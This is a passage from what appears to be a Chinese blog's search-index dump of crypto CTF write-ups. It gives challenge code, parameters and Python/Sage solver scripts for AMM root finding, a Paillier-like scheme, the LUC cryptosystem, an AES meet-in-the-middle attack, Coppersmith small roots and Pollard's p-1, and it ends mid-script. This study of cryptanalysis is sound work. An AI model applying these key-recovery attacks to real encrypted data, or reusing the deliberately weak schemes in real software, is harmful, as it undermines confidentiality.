21081926656979729045764441706195868361643779935106260715219328461497406780587336009385210898093496090213306812904410650499587043699660339207567766840318127296396962037273317168795761421233687815992929975284592353117739413561939283754964442896468496199833988666060155459156116345763999855126020972915904618043c= 601596145172542477058917394071994325109856881057412872218601643742101914635753765731910337249806643258952637146341530783703613931109366648847232809553067941206928974141651198815184695746636818122414926015513095322872645068410957200062317958684872682628646759817233433643987003499153702624673493727886566639667597997520471371146056861227114668317633291934130573158877960548655006208725827943739971068608175370661619328559766977175575896437656636083179668805135271793023165492681941002853661303072959879197775224449456951125268328000206540965011249895216257583247180682482954741912101069920760903900864428405997751199cp = c % pcq = c % qmp = AMM(cp, e, p)mq = AMM(cq, e, q)p_proot = findAllPRoot(p, e)q_proot = findAllPRoot(q, e)mps = findAllSolutions(mp, p_proot, cp, p)mqs = findAllSolutions(mq, q_proot, cq, q)print(mps, mqs)def check(m): h = m.hex() if len(h) & 1: return False if bytes.fromhex(h).startswith(b'NSSCTF'): print(bytes.fromhex(h)) return True else: return Falsestart = time.time()print('Start CRT...')for mpp in mps: for mqq in mqs: solution = CRT_list([int(mpp), int(mqq)], [p, q]) if check(solution): print(solution) print("\\n") print("\\n") print(time.time() - start)end = time.time()print("Finished in {} seconds.".format(end - start))#NSSCTF{2he_amm_13_r12lly_hard_f0r_me} ​ 大概需要跑2min得到NSSCTF{2he_amm_13_r12lly_hard_f0r_me} public​ 题目: 1234567891011121314151617import osfrom Crypto.Util.number import *flag=b"NSSCTF{xxxxxxxxxxxxxxxxxxx}"p = getPrime(2048)q = getPrime(2048)n = p*qg = n+1flag = flag + os.urandom(256)m = bytes_to_long(flag)assert m < nc=(pow(g,p,n*n)*pow(m,n,n*n))%(n*n)print(f"c={str(c)}")print(f"n={str(n)}")print(f"hint={str(pow(m,n,n*n))}")# c=218076151021560547051903316719541222512040541728274127251955864973204319200312422995983092104505370830336341646283643290975865810979693431665790610118752578450560322701464606111124759353729454729357651736630354926734261137232304018105525402480409214739463624926019853406667257471858400554068936984966255122726345392299611192889869061539625603262461395069803838256649227551122691722958477064737646079234633593322257264277828874899605785719884582898801922036376706945214557655573105936069927519342707813584133447394527727777145289236041783964596526172298751923527410923728437653793368452092818162677292173126395038239746952564824349029187021070624008127312777783389153721156471730690460245726539173442219919067086198412985379251064006364545842890512676104195964096685904104471607447579133813262242889948684214615216415152003486684332654021763372875688811108164167029372542655680239691864011325001804416649090546652965592245015233937378914902555020997254559783431091213187054225512285704706127222748135840936979571164239968858574619878355623067035562073147836429462588372618500946665592533980646179287203705864082701267348885216165672773119373427706470575290690902668785242467233967870570261108990892859880739698792351646244754952340844420919259404502699266393058426943569348443212550646905609608670176752388829848639990144513783071090027192962534454341704209113094332822171724354423757760205937173503650126923081671379294681026909824698111163520911268295889474804858820122835834292711776643387277793548733641809948674628119693459864760337483163877679917119388740268787073315582536101385769332216844206772200893152057186765390268976281904057200764887141067277637744939424349347335952574178492737111320884889894593413406720620482887249419382551684677812936351975305964980443771310389160311391859989139144435489943187361252326617436405569045786172471146825826484820533463066934499480104433398977611810330276369147938097117995654985458513989302241106332776904067311803420489090552556891879767682415265560743407340298578130798877648570926192953127574474259716781135801273211777116319348356510073635809816358623224620898024473581877733194648312939500788032519396047197931401057492369464362250728505049498537131676040902419082386902837490490020207391112191256297932073021141841637862479797419191517126847743253818063471644376196087415026020405982443713386674133996026381008967344619818015476575693412862275373303754013892689230528546297224836909468991043799205998787941893011# n=508649864931677614732467390772427961758931524996950943172348989353779413500135745017318030372818346445171787306774776609051270954621980771071637593801560166625137373096310055034937710873339570248386417692379532713565448110999149898224125057983565314582568870217037082321220190178702247284057805478222196862321877126877541221804916630403210745798454726695767965708773814502024042373335280648703042654755304969849832318086242798067639199224298659205981289856966590499810461072473369452077687615913217546268362501813809748922922532657782215807173319693469430751556310985767810712372068465527832726893651833030643914873945580271625080157996808574695857605733101549978621472016493582602814890278818563043847095493265778824174731054566468708287724290549925230267719117266452407869862605078436659020887227224470196270187491398217001451889275579626459491632506953638949085966203707446055610214983015428316166700670710716910016807567113694397559364621848368518820842900845963635710936101678917277407976769668789284143702572735353391307624460327339616496606065042109014043456540221432729574605562610831787594345569772727113605355252600129915926507232161710531913156415953128254338208741867773085355435238760994755555830964013004019492562245961# hint=218453179086923289943807203202770838925178689627774745147232020515098516891161432630028304346664762962142685215503546042472463188085210756898964960254583869432945520650866749585786670220495127010275938757711518963512690357966318771229029024139860779906436335668507703089169058834533472932888386221671186182247869434699020350251916212956639268455849140594527951127570312231046210122761381292092058171708887595484453711631828228850043342993869671675498781490707220852504338423236844200845629493885003815571053367960570828719514793961666314203716137708394529735950110878173175859966298104855781891314256393660478947857997049309347664916363312769426872393903240797057291513182057786294193463281179876929436423970304992964378978343703058273610599094670858299390115880959442514513002687898361714995376183382702580310860520166550246905769724461107221385567718477106980293610194354260662299313387637029454859051754049141731708862005007657254777005078937290648653252057172789665484106225904252249322285164277069353595858401391763857781471982430400812430485462777863701578165740021651239264400111602346875691919587562776319002092593590043298682899772829734368041057265219520645505796166918571599787733464916168997021422429642875880015201743138557239246816614645961943942384226721696842364578221142494114967457346538723563534281835490913459152865031135512888020156712332950698315471031328945767161582387501768383019764191345069522790270253976284543970378444427727423121536104008553289510510497088596599741651012409020454471902200942494893254608355219933431097693790764370965829619433976045850073467615077879096698409574487772631069225578624386542659818683559823001358916184145187794138636007200677181455572920942709512649217555102476437241677652845050079961562071604521307752725300453167225947534296744839161286409625003203181858982730609149419917332043428767843293277924022007390853988328511663307394805322715579362345649842431371200748639996476587970393904239732072852670279076966635546790856059886353247283187091483814130965265452117641315707359747672993447721009270939662160468115475733881984431822454194850017395548046798675473636140217840418467588166347095543815767317284635513061287105795015042775738353765062476084211922890124244419037796630154403434882572164730631883001098922170198642065216541425903144234820480236095640278292837060194123091442480170728800340689332104613912950234195039809087610879082689821270573215009809335626725761798981628604037461376378712686098 ​ 因为给了hint,所以c乘hint模n方的逆求出: g^p(modn^2)​ 关键就在这里,g = n+1,那么g的p次方二项展开很多项mod n 都为0了,只剩下p*n+1。那么我们可以求出p,利用p分解n;这里用hint解m的时候发现运算是在modn^2下,但是题目说明了m<n,这样的话解m在modn下计算即可(和n方同余一定和n同余,并且m<n,那么在modn条件下与modn^2等价)。 即当m","categories":[{"name":"赛事","slug":"赛事","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/"},{"name":"NISACTF2022","slug":"赛事/NISACTF2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/NISACTF2022/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"}]},{"title":"虎符CTF2022","slug":"虎符CTF2022","date":"2022-03-27T13:00:04.000Z","updated":"2022-03-27T14:29:20.000Z","comments":true,"path":"2022/03/27/虎符CTF2022/","link":"","permalink":"http://example.com/2022/03/27/%E8%99%8E%E7%AC%A6CTF2022/","excerpt":"​ 和0x401的师傅们参加了虎符,进入了决赛,被带飞的感觉真好2333。本篇将持续记录对赛题的复现。","text":"​ 和0x401的师傅们参加了虎符,进入了决赛,被带飞的感觉真好2333。本篇将持续记录对赛题的复现。 RRSSAA题目:1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253from random import randintfrom secret import hint, flagdef seq(r, k): v = [r, 2] for i in range(1, k): v = [r*v[0]-v[1], v[0]] ret = v[0] if k != 0 else v[1] return retdef encrypt(m, e, n): while True: r = randint(1, n - 1) if r != 2 and r != n - 2 and GCD(r, n) == 1: break v = seq(r, e) print(r) return ((1 + m*n) * v) % n**2def go(beta, msg): nbits = 1024 delta = 0.63 p = getPrime(nbits // 2) q = next_prime(p + (1 << int(nbits * beta))) n = p * q phi = (p**2 - 1) * (q**2 - 1) while True: d = getPrime(int(nbits * delta)) if GCD(d, phi) == 1: e = inverse(d, phi) if GCD(e, phi) == 1: break m = bytes_to_long(msg) c = int(encrypt(m, e, n)) print(f"n = {n}") print(f"e = {e}") print(f"c = {c}")go(0.33, hint)go(0.44, flag)'''n = 122774778628333786198247673730199699244621671207929503475974934116435291656353398717362903500544713183492877018211738292001516168567879903073296829793548881467270228989482723510323780292947403861546283099122868428902480999485625751961457245487615479377459707992802193391975415447673215862245349068018710525679e = 7105408692393780974425936359246908629062633111464343215149184058052422839553782885999575538955213539904607968494147112651103116202742324255190616790664935322773999797774246994193641076154786429287567308416036562198486649223818741008968261111017589015617705905631979526370180766874051731174064076871339400470062519500450745667838729104568633808272577378699913068193645578675484681151593983853443489561431176000585296710615726640355782811266099023653898050647891425956485791437516020367967793814415345332943552405865306305448753989707540163585481006631816856260061985275944250758886027672221219132999488907097750048011c = 2593129589804979134490367446026701647048897831627696427897506570257238733858989741279626614121210703780002736667183915826429635213867589464112850355422817678245007337553349507744893376944140333333044928907283949731124795240808354521353751152149301719465724014407412256933045835977081658410026081895650068864922666975525001601181989114436054060461228877148361720945120260382962899756912493868467226822547185396096960560068874538680230073168773182775945272726468512949751672553541335307512429217493003429882831235199830121519272447634533018024087697385363918421438799206577619692685090186486444886371979602617584956259n = 59969098213446598961510550233718258878862148298191323654672950330070587404726715299685997489142290693126366408044603303463518341243526241117556011994804902686998166238333549719269703453450958140262475942580009981324936992976252832887660977703209225426388975233018602730303262439218292062822981478737257836581e = 970698965238639683403205181589498135440069660016843488485401994654202837058754446853559143754852628922125327583411039117445415303888796067576548626904070971514824878024057391507617988385537930417136322298476467215300995795105008488692961624917433064070351961856959734368784774555385603000155569897078026670993484466622344106374637350023474339105113172687604783395923403613555236693496567851779400707953027457705617050061193750124237055690801725151098972239120476113241310088089420901051617493693842562637896252448161948655455277146925913049354086353328749354876619287042077221173795354616472050669799421983520421287c = 2757297249371055260112176788534868300821961060153993508569437878576838431569949051806118959108641317578931985550844206475198216543139472405873345269094341570473142756599117266569746703013099627523306340748466413993624965897996985230542275127290795414763432332819334757831671028121489964563214463689614865416498886490980692515184662350519034273510244222407505570929178897273048405431658365659592815446583970229985655015539079874797518564867199632672678818617933927005198847206019475149998468493858071672920824599672525667187482558622701227716212254925837398813278836428805193481064316937182435285668656233017810444672''' 解题思路​ part 1: ​ p,q的生成过程有缺陷,具体为p和q大约相差1 << int(nbits beta),那么可以爆破差值附近bit的值,来获得准确的q-p,利用(q-p)^ 2 + 4pq开方来获得p+q(iroot有解的时候说明q-p正确)。拿到p+q以后可以联立pq = n解出p,q,我使用的z3。 123456789101112131415161718192021# 分解p、q的代码(非预期)import gmpy2from z3 import *nbits = 1024beta = 0.44num = 1 << int(nbits * beta)n = 59969098213446598961510550233718258878862148298191323654672950330070587404726715299685997489142290693126366408044603303463518341243526241117556011994804902686998166238333549719269703453450958140262475942580009981324936992976252832887660977703209225426388975233018602730303262439218292062822981478737257836581for i in range(-2**20,2**20): num1 = num+i x = num1**2 + 4*n if gmpy2.iroot(x, 2)[1]: print(gmpy2.iroot(x, 2)) breaksum_ = 15487943467542306207164957522779915558232722677017868704346602824547506038541073770618393546150569709175993688022768031705225684075989372415124252944311482p = Int("p")q = Int('q')solve(p*q == n,p+q == sum_ ) ​ part2: ​ 实际上是基于lucas序列的公钥密码体制LUC,原理详见“一种新的基于 Lucas 序列的公钥密码体制”这篇论文。最关键的部分是要理解lucas序列的元素递推组成一个群,其满足逆元的性质,比如递推e次得到的元素和递推d次得到的元素一样,将d记作e的逆元。de是在phi上互为逆元,phi的求法需利用勒让德符号,详见论文。 ​ 所以part2的关键在于求出r,再将r带入lucas递推公式求出v。 ​ 可利用的关系为: v \\equiv c mod n r \\equiv seq(v,d)(modn)​ 注意:1、d为e模phi的逆2、由于v和c同余n所以seq(v,d)也要建立在模n上计算3、r小于n所以modn^2和modn结果是一致的4、最后求出r以后再将r,e带入lucas序列函数seq中求出v。在带入seq计算的时候,为了迅速计算,需要用矩阵快速幂优化。但由于sage的矩阵乘法已经优化为快速幂了,所以不需要自己实现。找矩阵系数的方法可以这样: ​ 同时,sage也有lucas序列函数,sage.rings.finite_rings.integer_mod import lucas ​ part3:类同态解密 ​ uv\\equiv1modn^{2} (cu-1)//n\\equiv m(mod)n^{2}123456789101112131415161718192021222324252627from Crypto.Util.number import inverse, long_to_bytesfrom sage.all import *p = 7743971733771153102128801312798743998017713722732925283466018690899116898707556486947918196848489007935614742583856884731087798825462330340492923214926391q = 7743971733771153105036156209981171560215008954284943420880584133648389139833517283670475349302080701240378945438911146974137885250527042074631329729385091n = p * qMOD = n * nphi = (p**2 - 1) * (q**2 - 1)def seq(r, k): A = matrix(Zmod(MOD), [[r, -1], [1, 0]]) x = matrix(Zmod(MOD), [[2], [r]]) return int((A**k * x)[0, 0])def L(x): return (x % MOD - 1) // ne = 970698965238639683403205181589498135440069660016843488485401994654202837058754446853559143754852628922125327583411039117445415303888796067576548626904070971514824878024057391507617988385537930417136322298476467215300995795105008488692961624917433064070351961856959734368784774555385603000155569897078026670993484466622344106374637350023474339105113172687604783395923403613555236693496567851779400707953027457705617050061193750124237055690801725151098972239120476113241310088089420901051617493693842562637896252448161948655455277146925913049354086353328749354876619287042077221173795354616472050669799421983520421287c = 2757297249371055260112176788534868300821961060153993508569437878576838431569949051806118959108641317578931985550844206475198216543139472405873345269094341570473142756599117266569746703013099627523306340748466413993624965897996985230542275127290795414763432332819334757831671028121489964563214463689614865416498886490980692515184662350519034273510244222407505570929178897273048405431658365659592815446583970229985655015539079874797518564867199632672678818617933927005198847206019475149998468493858071672920824599672525667187482558622701227716212254925837398813278836428805193481064316937182435285668656233017810444672d = inverse(e, phi)r = seq(c, d) % nv = seq(r, e)print(long_to_bytes(L(c * inverse(v, MOD))))#HFCTF{5eb34942-bd0d-4efd-b0e1-a73225d92678}","categories":[{"name":"赛事","slug":"赛事","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/"},{"name":"虎符CTF2022","slug":"赛事/虎符CTF2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/%E8%99%8E%E7%AC%A6CTF2022/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"}]},{"title":"Meet me in the middle","slug":"Meet me in the middle","date":"2022-03-23T05:33:14.000Z","updated":"2022-04-11T15:28:24.000Z","comments":true,"path":"2022/03/23/Meet me in the middle/","link":"","permalink":"http://example.com/2022/03/23/Meet%20me%20in%20the%20middle/","excerpt":"​ OFPPT-CTF的一道题,AES的中间相遇攻击,实际上也是任何对称密码加密两次的攻击方法。攻击思路就是把给的密文解密一次,已知的明文(或者遍历明文的所有组合)加密一次,来对照两者的结果,若相等则可以确定加解密的密钥。","text":"​ OFPPT-CTF的一道题,AES的中间相遇攻击,实际上也是任何对称密码加密两次的攻击方法。攻击思路就是把给的密文解密一次,已知的明文(或者遍历明文的所有组合)加密一次,来对照两者的结果,若相等则可以确定加解密的密钥。 Q: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051from random import randintfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import padimport jsonflag = b'OFPPT-CTF{Not_the_real_flag}'def gen_key(option=0): alphabet = b'0123456789abcdef' const = b'0fpptCTF5!@#' key = b'' for i in range(16-len(const)): key += bytes([alphabet[randint(0,15)]]) if option: return key + const else: return const + keydef encrypt(data, key1, key2): cipher = AES.new(key1, mode=AES.MODE_ECB) ct = cipher.encrypt(pad(data, 16)) cipher = AES.new(key2, mode=AES.MODE_ECB) ct = cipher.encrypt(ct) return ct.hex()def challenge(): k1 = gen_key() k2 = gen_key(1) ct = encrypt(flag, k1, k2) print('Super strong encryption service approved by 2022 stansdards.\\n'+\\ 'Message to decrypt:\\n' +ct + '\\nEncrypt your text:\\n> ') try: dt = json.loads(input().strip()) pt = bytes.fromhex(dt['pt']) res = encrypt(pt, k1, k2) print(res + '\\n') exit(1) except Exception as e: print(e) print('Invalid payload.\\n') exit(1) if __name__ == "__main__": challenge() DATA: 1234567Super strong encryption service approved by 2022 stansdards.Message to decrypt:187f25ea856f518bcd8e7e7c17e7e6016bc77459513740e6792c84d07b465ea9cee6609881421eb4ae1606792a2d8859Encrypt your text:>{"pt":"4f465050542d435446"}f71f3b195e2336a6d30077b8184304c6 ​ 这道题给了一对明文——密文对,那么可以通过遍历密钥空间来分别对明文加密一次,密文解密一次。只要取两者交集就能得到密钥。 hash的exp: 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556from Crypto.Cipher import AESfrom Crypto.Util.Padding import padpt='4f465050542d435446'pt = bytes.fromhex(pt)c='f71f3b195e2336a6d30077b8184304c6'c=bytes.fromhex(c)alphabet = b'0123456789abcdef'const = b'0fpptCTF5!@#'dict={}def check(a): if a in dict.keys(): print(dict[a]) return 1 else: return 0for i1 in range(16): for i2 in range(16): for i3 in range(16): for i4 in range(16): key1=const+bytes([alphabet[i1]])+bytes([alphabet[i2]])+bytes([alphabet[i3]])+bytes([alphabet[i4]]) cipher = AES.new(key1, mode=AES.MODE_ECB) ct = cipher.encrypt(pad(pt, 16)) index1=str(i1)+' '+str(i2)+' '+str(i3)+' '+str(i4) dict[ct]=index1for i1 in range(16): for i2 in range(16): for i3 in range(16): for i4 in range(16): key2=bytes([alphabet[i1]])+bytes([alphabet[i2]])+bytes([alphabet[i3]])+bytes([alphabet[i4]])+const cipher = AES.new(key2, mode=AES.MODE_ECB) ct = cipher.decrypt(c) index2=str(i1)+' '+str(i2)+' '+str(i3)+' '+str(i4) if check(ct): print(index2)c='187f25ea856f518bcd8e7e7c17e7e6016bc77459513740e6792c84d07b465ea9cee6609881421eb4ae1606792a2d8859'c=bytes.fromhex(c)index1=[2,15,7,4]index2=[14,10,1,4]key1=constkey2=b''for i in range(4): key1+=bytes([alphabet[index1[i]]]) key2+=bytes([alphabet[index2[i]]])key2+=constcipher1 = AES.new(key1, mode=AES.MODE_ECB)cipher2 = AES.new(key2, mode=AES.MODE_ECB)m=cipher2.decrypt(c)print(cipher1.decrypt(m))#b'OFPPT-CTF{M33t_1n_Th3_Middle_4tt4ck_4_RS4}\\x06\\x06\\x06\\x06\\x06\\x06' ​ 第二种思路应该算是非预期,加密选择的是ECB模式,每块之间无混淆,并且已知flag格式为:OFPPT-CTF{,那么可以考虑爆破后续的6字节,再将这16字节进行遍历密钥的加密;同时对密文进行遍历密钥的解密,对照前16字节,若两者前16字节相等则两者取得密钥就是先后加密两次的密钥。但是时间复杂度较高,不是好的方法。 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253from Crypto.Cipher import AESfrom Crypto.Util.Padding import padfrom binascii import b2a_hex, a2b_heximport string# def decrypt(key,c):# cipher = AES.new(key, mode=AES.MODE_ECB)# ct = cipher.decrypt(c)# return ct## c = '187f25ea856f518bcd8e7e7c17e7e6016bc77459513740e6792c84d07b465ea9cee6609881421eb4ae1606792a2d8859'# const = '0fpptCTF5!@#'# alphabet = '0123456789abcdef'# f = open("msg.txt","w")# for i in range(16):# for j in range(16):# for m in range(16):# for n in range(16):# key2 = bytes( alphabet[i] + alphabet[j] + alphabet[m] + alphabet[n] + const,encoding="utf-8")# flag = decrypt(key2,a2b_hex(c))# f.write(str(flag))# f.write("\\n")# 不同密钥解密出的所有可能结果存在msg.txt中def encrypt(key,m): cipher = AES.new(key, mode=AES.MODE_ECB) ct = cipher.encrypt(m) return ctknown = 'OFPPT-CTF{'const = '0fpptCTF5!@#'table = '0123456789abcdef'ff = open("c1.txt","w")for i1 in range(16): for i2 in range(16): for i3 in range(16): for i4 in range(16): for i5 in range(16): for i6 in range(16): mm = bytes(known+table[i1]+table[i2]+table[i3]+table[i4]+table[i5]+table[i6],encoding='utf-8') for i in range(16): for j in range(16): for m in range(16): for n in range(16): key1 = bytes(const + table[i] + table[j] + table[m] + table[n], encoding="utf-8") c1 = encrypt(key1,mm) ff.write(str(c1)) # 爆破未知6字节,遍历密钥空间,获得所有可能的加密结果;最后只需要对照msg.txt和c1.txt,找到前十六个字节相同的那两组。","categories":[{"name":"比赛","slug":"比赛","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/"},{"name":"对称密码","slug":"比赛/对称密码","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/%E5%AF%B9%E7%A7%B0%E5%AF%86%E7%A0%81/"},{"name":"中间相遇攻击","slug":"比赛/对称密码/中间相遇攻击","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/%E5%AF%B9%E7%A7%B0%E5%AF%86%E7%A0%81/%E4%B8%AD%E9%97%B4%E7%9B%B8%E9%81%87%E6%94%BB%E5%87%BB/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"AES","slug":"AES","permalink":"http://example.com/tags/AES/"},{"name":"中间相遇攻击","slug":"中间相遇攻击","permalink":"http://example.com/tags/%E4%B8%AD%E9%97%B4%E7%9B%B8%E9%81%87%E6%94%BB%E5%87%BB/"}]},{"title":"2022红明谷-easy_ya","slug":"2022红明谷-easy-ya","date":"2022-03-22T10:49:30.000Z","updated":"2022-04-01T03:56:46.000Z","comments":true,"path":"2022/03/22/2022红明谷-easy-ya/","link":"","permalink":"http://example.com/2022/03/22/2022%E7%BA%A2%E6%98%8E%E8%B0%B7-easy-ya/","excerpt":"​ 红明谷一共就八个题,和小老弟组队,做了四个题 RANK50。密码学有两道,一题是copper,另一题是sm2,不会做。这里简单记录一下第一题。","text":"​ 红明谷一共就八个题,和小老弟组队,做了四个题 RANK50。密码学有两道,一题是copper,另一题是sm2,不会做。这里简单记录一下第一题。 12345678910111213141516171819202122232425262728293031323334from Crypto.Util.number import *import osfrom flag import flagdef gen(): e = 3 while True: try: p = getPrime(512) q = getPrime(512) n = p*q phi = (p-1)*(q-1) d = inverse(e,phi) return p,q,d,n,e except: continue returnp,q,d,n,e = gen()r = getPrime(512)m = bytes_to_long(flag+os.urandom(32))M = m%rc = pow(m,e,n)print("r = %d"%r)print("M = %d"%M)print("n = %d"%n)print("e = %d"%e)print("c = %d"%c)'''r = 7996728164495259362822258548434922741290100998149465194487628664864256950051236186227986990712837371289585870678059397413537714250530572338774305952904473M = 4159518144549137412048572485195536187606187833861349516326031843059872501654790226936115271091120509781872925030241137272462161485445491493686121954785558n = 131552964273731742744001439326470035414270864348139594004117959631286500198956302913377947920677525319260242121507196043323292374736595943942956194902814842206268870941485429339132421676367167621812260482624743821671183297023718573293452354284932348802548838847981916748951828826237112194142035380559020560287e = 3c = 46794664006708417132147941918719938365671485176293172014575392203162005813544444720181151046818648417346292288656741056411780813044749520725718927535262618317679844671500204720286218754536643881483749892207516758305694529993542296670281548111692443639662220578293714396224325591697834572209746048616144307282''' ​ 根据已知关系推导: c = (r*x+M)^3modn m = M+r*x​ 那么就转化为求下面这个多项式的根: ((r*x+M)^3 - c) modn = 0​ sage脚本: 12345678910111213N = 131552964273731742744001439326470035414270864348139594004117959631286500198956302913377947920677525319260242121507196043323292374736595943942956194902814842206268870941485429339132421676367167621812260482624743821671183297023718573293452354284932348802548838847981916748951828826237112194142035380559020560287e = 3c = 46794664006708417132147941918719938365671485176293172014575392203162005813544444720181151046818648417346292288656741056411780813044749520725718927535262618317679844671500204720286218754536643881483749892207516758305694529993542296670281548111692443639662220578293714396224325591697834572209746048616144307282M = 4159518144549137412048572485195536187606187833861349516326031843059872501654790226936115271091120509781872925030241137272462161485445491493686121954785558r = 7996728164495259362822258548434922741290100998149465194487628664864256950051236186227986990712837371289585870678059397413537714250530572338774305952904473kbits = 100ZmodN = Zmod(N)P.<x> = PolynomialRing(ZmodN)f = (M + r*x)^e - cf=f.monic() # x系数不为1的时候需要用这个归一x0 = f.small_roots(x=2^kbits, beta=1)[0] # 这里的X选取不像上文用的是临界值,而是选了一个我们未知的x的最大可能值。X的选取并非严格,但至少得保证比临界值小。print(x0)#810968823598060539864535 ​ 利用x0还原m就解出来了。","categories":[{"name":"比赛","slug":"比赛","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/"},{"name":"RSA","slug":"比赛/RSA","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/RSA/"},{"name":"Copper","slug":"比赛/RSA/Copper","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/RSA/Copper/"}],"tags":[{"name":"RSA","slug":"RSA","permalink":"http://example.com/tags/RSA/"},{"name":"Copper","slug":"Copper","permalink":"http://example.com/tags/Copper/"}]},{"title":"pollard's p-1","slug":"pollard-s-p-1","date":"2022-03-17T14:28:17.000Z","updated":"2022-03-18T02:24:26.000Z","comments":true,"path":"2022/03/17/pollard-s-p-1/","link":"","permalink":"http://example.com/2022/03/17/pollard-s-p-1/","excerpt":"​ 当p-1为smooth number(指可以分解为小素数乘积的正整数)时,可以用pollard’s p-1算法来分解公钥n,详情见https://blog.csdn.net/zippo1234/article/details/109811874","text":"​ 当p-1为smooth number(指可以分解为小素数乘积的正整数)时,可以用pollard’s p-1算法来分解公钥n,详情见https://blog.csdn.net/zippo1234/article/details/109811874 例题就是picoCTF的一道题: 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091#!/usr/bin/pythonfrom binascii import hexlifyfrom gmpy2 import *import mathimport osimport sysif sys.version_info < (3, 9): math.gcd = gcd math.lcm = lcm_DEBUG = FalseFLAG = open('flag.txt').read().strip()FLAG = mpz(hexlify(FLAG.encode()), 16)SEED = mpz(hexlify(os.urandom(32)).decode(), 16)STATE = random_state(SEED)def get_prime(state, bits): return next_prime(mpz_urandomb(state, bits) | (1 << (bits - 1)))def get_smooth_prime(state, bits, smoothness=16): p = mpz(2) p_factors = [p] while p.bit_length() < bits - 2 * smoothness: factor = get_prime(state, smoothness) p_factors.append(factor) p *= factor bitcnt = (bits - p.bit_length()) // 2 while True: prime1 = get_prime(state, bitcnt) prime2 = get_prime(state, bitcnt) tmpp = p * prime1 * prime2 if tmpp.bit_length() < bits: bitcnt += 1 continue if tmpp.bit_length() > bits: bitcnt -= 1 continue if is_prime(tmpp + 1): p_factors.append(prime1) p_factors.append(prime2) p = tmpp + 1 break p_factors.sort() return (p, p_factors)e = 0x10001while True: p, p_factors = get_smooth_prime(STATE, 1024, 16) if len(p_factors) != len(set(p_factors)): continue # Smoothness should be different or some might encounter issues. q, q_factors = get_smooth_prime(STATE, 1024, 17) if len(q_factors) != len(set(q_factors)): continue factors = p_factors + q_factors if e not in factors: breakif _DEBUG: import sys sys.stderr.write(f'p = {p.digits(16)}\\n\\n') sys.stderr.write(f'p_factors = [\\n') for factor in p_factors: sys.stderr.write(f' {factor.digits(16)},\\n') sys.stderr.write(f']\\n\\n') sys.stderr.write(f'q = {q.digits(16)}\\n\\n') sys.stderr.write(f'q_factors = [\\n') for factor in q_factors: sys.stderr.write(f' {factor.digits(16)},\\n') sys.stderr.write(f']\\n\\n')n = p * qm = math.lcm(p - 1, q - 1)d = pow(e, -1, m)c = pow(FLAG, e, n)print(f'n = {n.digits(16)}')print(f'c = {c.digits(16)}')#n = 65446ab139efe9744c78a271ad04d94ce541a299f9d4dcb658f66f49414fb913d8ac6c90dacc1ad43135454c3c5ac76c56d71d2816dac23db5c8caa773ae2397bd5909a1f2823c230f44ac684c437f16e4ca75d50b75d2f7e5549c034aa8a723c9eaa904572a8c5c6c1ed7093a0695522a5c41575c4dbf1158ca940c02b223f50ae86e6782819278d989200a2cd2be4b7b303dffd07209752ee5a3060c6d910a108444c7a769d003bf8976617b4459fdc15a2a73fc661564267f55be6a0d0d2ec4c06a4951df5a096b079d9e300f7ad72fa6c73a630f9a38e472563434c10225bde7d08c651bdd23fd471077d44c6aab4e01323ed78641983b29633ad104f3fd#c = 19a98df2bfd703a31fedff8a02d43bc11f1fb3c15cfa7a55b6a32b3532e1ac477f6accc448f9b7d2b4deaae887450217bb70298afaa0f5e31a77e7c6f8ba1986979f15d299230119e3dd7e42eb9ca4d58d084d18b328fbe08c8909a2afc67866d6550e4e6fa27dc13d05c51cc87259fe73e2a1890cc2825d76c8b2a99f72f6023fc96658ac355487a6c275717ca6c13551094818efae1cec3c8773cc5a72fed518c00a53ba9799d9d5c182795dfcece07c727183fdd86fd2cb4b95e9f231be1858320aa7f8430885eb3d24300552d1a83158636316e55e6ac0a30a608964dbf2c412aed6a15df5fd49e737f7c06c02360d0c292abc33a3735152db2fb5bc5f6d 只是看起来复杂罢了,利用p-1光滑就能快速分解n了。 123456789101112131415161718192021222324252627from Crypto.Util.number import *from gmpy2 import *def Pollards_p_1(N): a = 2 n = 2 while True: a = pow(a, n, N) res = gcd(a-1, N) if res != 1 and res != N: print ('n =', n) print ('p =', res) return res n += 1 N = 0x65446ab139efe9744c78a271ad04d94ce541a299f9d4dcb658f66f49414fb913d8ac6c90dacc1ad43135454c3c5ac76c56d71d2816dac23db5c8caa773ae2397bd5909a1f2823c230f44ac684c437f16e4ca75d50b75d2f7e5549c034aa8a723c9eaa904572a8c5c6c1ed7093a0695522a5c41575c4dbf1158ca940c02b223f50ae86e6782819278d989200a2cd2be4b7b303dffd07209752ee5a3060c6d910a108444c7a769d003bf8976617b4459fdc15a2a73fc661564267f55be6a0d0d2ec4c06a4951df5a096b079d9e300f7ad72fa6c73a630f9a38e472563434c10225bde7d08c651bdd23fd471077d44c6aab4e01323ed78641983b29633ad104f3fdPollards_p_1(N)e = 0x10001p = 99126027751293787460707333225370081580584982304038231096813161244761524095590615117831448502823590451345284755118126397029033735152688999710147646678545625634287769168400222908200102457283937611678386858046723404913983230996949238395868265074908432952904759110064966754913625273131550827408850464386561335667q = 128965183581768163664978030498027146361112997382480284467816270831653077525969847879430397647540675619100157280183116707523593845084067419846780398725528236058905044567351849099700699570794288281913389080617917506884306793829926019232415711115188439634653794440433245851643026110952784986360042886715063777487c = 